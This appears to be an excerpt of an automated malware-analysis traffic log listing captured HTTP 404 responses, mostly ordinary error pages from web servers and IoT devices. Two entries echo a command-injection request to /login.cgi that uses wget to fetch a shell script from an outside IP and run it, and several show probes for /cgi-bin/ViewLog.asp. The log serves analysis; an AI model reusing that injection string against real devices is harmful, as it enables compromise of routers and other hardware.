Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 21 Mar 2024 04:22:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Boa/0.94.13Date: Thu, 21 Mar 2024 04:23:01 GMTContent-Type: text/htmlContent-Length: 126Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 03:40:23 GMTServer: Apache/2.4.7 (Ubuntu)Content-Length: 291Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 70 3e 33 26 61 6d 70 3b 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 20 74 6f 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>501 Not Implemented</title></head><body><h1>Not Implemented</h1><p>3&remoteSubmit=Save to /index.html not supported.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveTransfer-Encoding: chunkedKeep-Alive: timeout=20Content-Type: text/htmlData Raw: 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6c 6f 67 69 6e 2e 63 67 69 3f 63 6c 69 3d 61 61 25 32 30 61 61 25 32 37 3b 77 67 65 74 25 32 30 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 25 32 30 2d 4f 25 32 30 2d 25 33 45 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 25 32 37 24 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveTransfer-Encoding: chunkedKeep-Alive: timeout=20Content-Type: text/htmlData Raw: 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6c 6f 67 69 6e 2e 63 67 69 3f 63 6c 69 3d 61 61 25 32 30 61 61 25 32 37 3b 77 67 65 74 25 32 30 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 25 32 30 2d 4f 25 32 30 2d 25 33 45 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 25 32 37 24 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:56 GMTServer: Apache/2.4.41 (Ubuntu)Cache-Control: no-cache, privateVary: OriginX-Clockwork-Id: 1710994976-7778-2033127856X-Clockwork-Version: 5.1.12Server-Timing: app; dur=25.38800239563; desc="Application", timeline-event-0; dur=3.9370059967041; desc="Controller"X-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCache-Control: no-cache, privateKeep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: application/jsonData Raw: 31 65 61 62 0d 0a 7b 0a 20 20 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 54 68 65 20 72 6f 75 74 65 20 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 2e 22 2c 0a 20 20 20 20 22 65 78 63 65 70 74 69 6f 6e 22 3a 20 22 53 79 6d 66 6f 6e 79 5c 5c 43 6f 6d 70 6f 6e 65 6e 74 5c 5c 48 74 74 70 4b 65 72 6e 65 6c 5c 5c 45 78 63 65 70 74 69 6f 6e 5c 5c 4e 6f 74 46 6f 75 6e 64 48 74 74 70 45 78 63 65 70 74 69 6f 6e 22 2c 0a 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 52 6f 75 74 69 6e 67 2f 41 62 73 74 72 61 63 74 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 2e 70 68 70 22 2c 0a 20 20 20 20 22 6c 69 6e 65 22 3a 20 34 34 2c 0a 20 20 20 20 22 74 72 61 63 65 22 3a 20 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 52 6f 75 74 69 6e 67 2f 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 2e 70 68 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6c 69 6e 65 22 3a 20 31 36 32 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 75 6e 63 74 69 6f 6e 22 3a 20 22 68 61 6e 64 6c 65 4d 61 74 63 68 65 64 52 6f 75 74 65 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6c 61 73 73 22 3a 20 22 49 6c 6c 75 6d 69 6e 61 74 65 5c 5c 52 6f 75 74 69 6e 67 5c 5c 41 62 73 74 72 61 63 74 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 2d 3e 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f Data Ascii: 1eab{ "message": "The route cgi-bin/ViewLog.asp could not be found.", "exception": "Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException", "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php", "line": 44, "trace": [
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 35Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:22:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:22:58 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:22:59 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:22:58 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:22:59 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Thu, 21 Mar 2024 04:23:08 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=utf-8X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data:Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Mar 2024 05:23:08 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Thu, 21 Mar 2024 04:23:07 GMTServer: lighttpd/1.4.45Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:10 GMTServer: Apache/2Content-Length: 315Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 06:24:19 GMTServer: webserverX-Frame-Options: SAMEORIGINContent-Length: 195Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=8, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /cgi-bin/ViewLog.asp</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: THU MAR 21 07:23:11 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ReeCam IP CameraDate: Thu, 21 Mar 2024 04:25:47 GMTContent-Type: text/htmlContent-Length: 126Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 09:23:11 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: THU MAR 21 07:23:11 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
